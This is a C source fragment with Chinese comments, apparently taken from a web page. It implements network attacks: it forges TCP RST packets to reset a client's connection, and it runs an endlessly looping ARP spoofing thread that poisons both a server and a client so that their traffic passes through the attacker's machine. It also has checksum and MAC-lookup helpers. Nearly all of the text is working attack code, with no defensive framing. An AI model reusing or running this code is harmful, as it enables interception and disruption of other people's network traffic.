pTcpPacket->tcphdr.th_dport = g_pCurrCtrlConn->uClientPort;//接收此rst包的端口 pTcpPacket->tcphdr.th_seq = seq;//SYN pTcpPacket->tcphdr.th_ack = ack;//ACK pTcpPacket->tcphdr.th_lenres = (sizeof(TCPHDR)/4<<4|0); pTcpPacket->tcphdr.th_flag = 4;//RST flag pTcpPacket->tcphdr.th_win = 0; pTcpPacket->tcphdr.th_urp = 0; pTcpPacket->tcphdr.th_sum = 0; //fill tcp psd head psdhdr.saddr = pTcpPacket->iphdr.sourceIP; psdhdr.daddr = pTcpPacket->iphdr.destIP; psdhdr.mbz = 0; psdhdr.ptcl = IPPROTO_TCP; psdhdr.tcpl = htons(sizeof(TCPHDR)); //calculate tcp checksum memcpy(szBuff, &psdhdr, sizeof(PSDHDR)); memcpy(szBuff + sizeof(PSDHDR), &pTcpPacket->tcphdr, sizeof(TCPHDR)); pTcpPacket->tcphdr.th_sum = checksum((USHORT *)szBuff, sizeof(PSDHDR) + sizeof(TCPHDR)); //calculate IP checksum pTcpPacket->iphdr.checksum = checksum((USHORT *)&pTcpPacket->iphdr, sizeof(IPHDR)); //fill send buffer memset(g_lpSendPacket->Buffer, 0, 1514); memcpy(g_lpSendPacket->Buffer, (char *)pTcpPacket, sizeof(TCPPACKET)); if(PacketSendPacket(g_lpAdapter, g_lpSendPacket, TRUE) == FALSE) { printf("Error sending the rst packets!\n"); __leave; } else printf("Send RST packet ok!\n"); bRet = TRUE; } __finally { if(pTcpPacket) free(pTcpPacket); } return bRet; }
// //功能:计算校验和 // USHORT checksum(USHORT *buffer, int size) { unsigned long cksum=0; while(size >1) { cksum+=*buffer++; size -=sizeof(USHORT); } if(size ) { cksum += *(UCHAR*)buffer; } cksum = (cksum >> 16) + (cksum & 0xffff); cksum += (cksum >>16); return (USHORT)(~cksum); }
// //功能:实施ARP欺骗 //1 告诉ServerSide,ClientSide的mac是ownmac //2 告诉ClientSide,ServerSide的mac是ownmac // DWORD WINAPI ArpSpoofThread(LPVOID lpType) { int iType = *(int *)lpType; ARPPACKET ArpPacket; LPPACKET lpArpPacket; char szArpBuff[60];
switch(iType) { case 1: memcpy(ArpPacket.ehhdr.DestMAC, g_szServerSideMAC, 6); ArpPacket.arphdr.DestIP = g_ServerSideIP; ArpPacket.arphdr.SourceIP = g_ClientSideIP; break; case 2: memcpy(ArpPacket.ehhdr.DestMAC, g_szClientSideMAC, 6); ArpPacket.arphdr.DestIP = g_ClientSideIP; ArpPacket.arphdr.SourceIP = g_ServerSideIP; break; default: return 0; } //ethernet head memcpy(ArpPacket.ehhdr.SourceMAC, g_szOwnMAC, 6); ArpPacket.ehhdr.EthernetType = htons(EPT_ARP);//ethernet type //arp head memcpy(ArpPacket.arphdr.DestMAC, ArpPacket.ehhdr.DestMAC, 6);//dest's mac memcpy(ArpPacket.arphdr.SourceMAC, g_szOwnMAC, 6);//sender's mac ArpPacket.arphdr.HrdAddrlen = 6; ArpPacket.arphdr.ProAddrLen = 4; ArpPacket.arphdr.HrdType = htons(ARP_HARDWARE); ArpPacket.arphdr.ProType = htons(EPT_IP); ArpPacket.arphdr.op = htons(2);//arp reply
lpArpPacket = PacketAllocatePacket(); if(lpArpPacket == NULL) { printf("Error:failed to allocate the LPPACKET structure for Arp spoof.\n"); return 0; } memset(szArpBuff, 0, sizeof(szArpBuff)); memcpy(szArpBuff, (char *)&ArpPacket, sizeof(ARPPACKET)); PacketInitPacket(lpArpPacket, szArpBuff, 60); //send arp packet while(1) { if(PacketSendPacket(g_lpAdapter, lpArpPacket, TRUE) == FALSE) { printf("Error sending the arp spoof packets!\n"); return 0; } Sleep(1000); } return 0; }
// //功能:输入IP取得对应的MAC地址 // BOOL GetMACAddr(DWORD DestIP, char *pMAC) { DWORD dwRet; ULONG ulLen = 6, pulMac[2]; dwRet = SendARP(DestIP, 0, pulMac, &ulLen); if(dwRet == NO_ERROR) { memcpy(pMAC, pulMac, 6); return TRUE; } else return FALSE; }
返回
|